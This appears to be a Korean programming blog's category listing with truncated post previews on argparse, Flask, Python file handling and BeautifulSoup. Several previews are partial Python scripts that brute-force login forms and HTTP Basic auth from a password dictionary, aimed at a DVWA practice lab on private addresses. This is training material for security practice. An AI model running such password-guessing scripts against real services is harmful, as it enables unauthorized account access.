목록프로그래밍 (73)
Self-Improvement
argparseargparse는 sys.argy를 어떻게 파싱할지 파악합니다. 또한 argparse 모듈은 도움말과 사용법 메시지를 자동 생성하고, 사용자가 프로그램에 잘못된 인자를 줄 때 에러를 발생시켜준다. 간단한 예제 코드 123456import argparse parser = argparse.ArgumentParser()parser.add_argument('--testoption', help='testestestest', action='store_true') args = parser.parse_args()Colored by Color Scriptercs 결과물 123456root@kali:~/python# python testmongodb.py -husage: testmongodb.py [-h] ..
123456789101112131415161718192021222324252627import requestsimport sysfrom bs4 import BeautifulSoupimport base64 #loginlogin_url = 'Target URL'fd = open("password.txt") //dictionary filewhile True: pass1=fd.readline() pass1 = pass1.replace("\n", '') if pass1 == "": sys.exit(1) BASE=base64.b64encode(bytes('admin:'+pass1,'utf-8')) //base64 encoding BASE64=BASE.decode('utf-8') // 'b' remove authori..
1234567891011121314151617181920212223242526import requestsimport sysfrom bs4 import BeautifulSoupimport re #loginlogin_url = 'http://192.168.10.100/dvwa/vulnerabilities/brute/'proxies ={'http': 'http://localhost:9000'}session={'security':'low', 'PHPSESSID':'pf6ilrarqam459ebn9ltmec8tv'} fd = open("password.txt")while True: pass1=fd.readline() pass1=pass1.replace("\n",'') if pass1 == '': sys.exit(..
※http://python.itcarlow.ie/ed2/ch05/에서 파일들을 받을 수 있음 *웹앱 hello_flask.py 최종 예제 윈도우에서 작성함---------------------hello_flask.py------------------------ #render_template와 request을 임포트를 한다. from flask import Flask, render_template, request #4장에서 작성한 vsearch.py모듈을 사용 from vsearch import search4letters app = Flask(__name__) @app.route('/search4', methods=['POST']) #URL 경로와 POST메소드를 사용 (데이터를 수용하기 위해) def d..
*파이썬의 열기, 처리하기, 닫기 open의 함수의 첫번째 인자는 파일명이며 두번째 인자는 옵션이다. r : 파일을 읽기 모드로 열며 기본값이다 w : 파일을 쓰기 모드로 열며 파일이 존재하면 기존 데이터를 삭제한다 a : 파일을 추가 모드로 열며 파일의 내용은 유지하며 끝에 데이터를 추가한다 x : 새로운 파일을 쓰기 모드로 열며 파일이 이미 존재하면 파일 열기가 실패한다 >>> todos = open('todos.txt', 'a') #todos.txt파일을 a옵션을 열면서 todos 변수에 할당 >>> print('put out the trash', file=todos) >>> print('Feed the cat', file=todos) >>> print('prepare tax return.', fi..
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283#login import os import re import sys import time import requests from bs4 import BeautifulSoup login_url = 'http://192.168.10.134/dvwa/login.php' login_data = {'username':'admin', 'password':'password', 'Login':'Login'} proxies = {'http':'h..
1234567891011121314151617181920import sys from bs4 import BeautifulSoup import re #login login_url = 'http://192.168.10.134/dvwa/login.php' proxies = {'http':'http://localhost:9000', 'https':'http://localhost:9000'} fd = open("command.txt") while True: pass1=fd.readline() if pass1 == '': sys.exit(1) login_data = {'username':'admin', 'password':pass1, 'Login':'Login'} resp=requests.post(login_url..
1234567891011121314151617181920212223242526272829303132333435363738394041424344import requests import re import sys from bs4 import BeautifulSoup #login login_url = 'http://192.168.10.134/dvwa/login.php' login_data = {'username':'admin', 'password':'password', 'Login':'Login'} proxies = {'http':'http://localhost:9000', 'https':'http://localhost:9000'} s = requests.session() req = requests.Reques..
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152import os import requests from bs4 import BeautifulSoup import re import sys #login login_url = 'http://192.168.10.134/dvwa/login.php' login_data = {'username':'admin', 'password':'password', 'Login':'Login'} proxies = {'http':'http://localhost:9000', 'https':'http://localhost:9000'} s = requests.sessi..
https://www.crummy.com/software/BeautifulSoup/bs4/doc/ *import1from bs4 import BeautifulSoup cs *기본 사용법 1 123456789101112131415soup = BeautifulSoup(resp, 'html.parser') print(soup.prettify()) - response 내요을 보기좋게 출력됨 soup.title soup.title.name soup.title.string soup.p soup.p['class'] soup.a - a 태그 하나만 출력 soup.find_all('a') - a 태그 전체 출력 soup.find(id="link3") - id="link3"으로 되어있는거 찾아서 출력 cs *기본 사용법 ..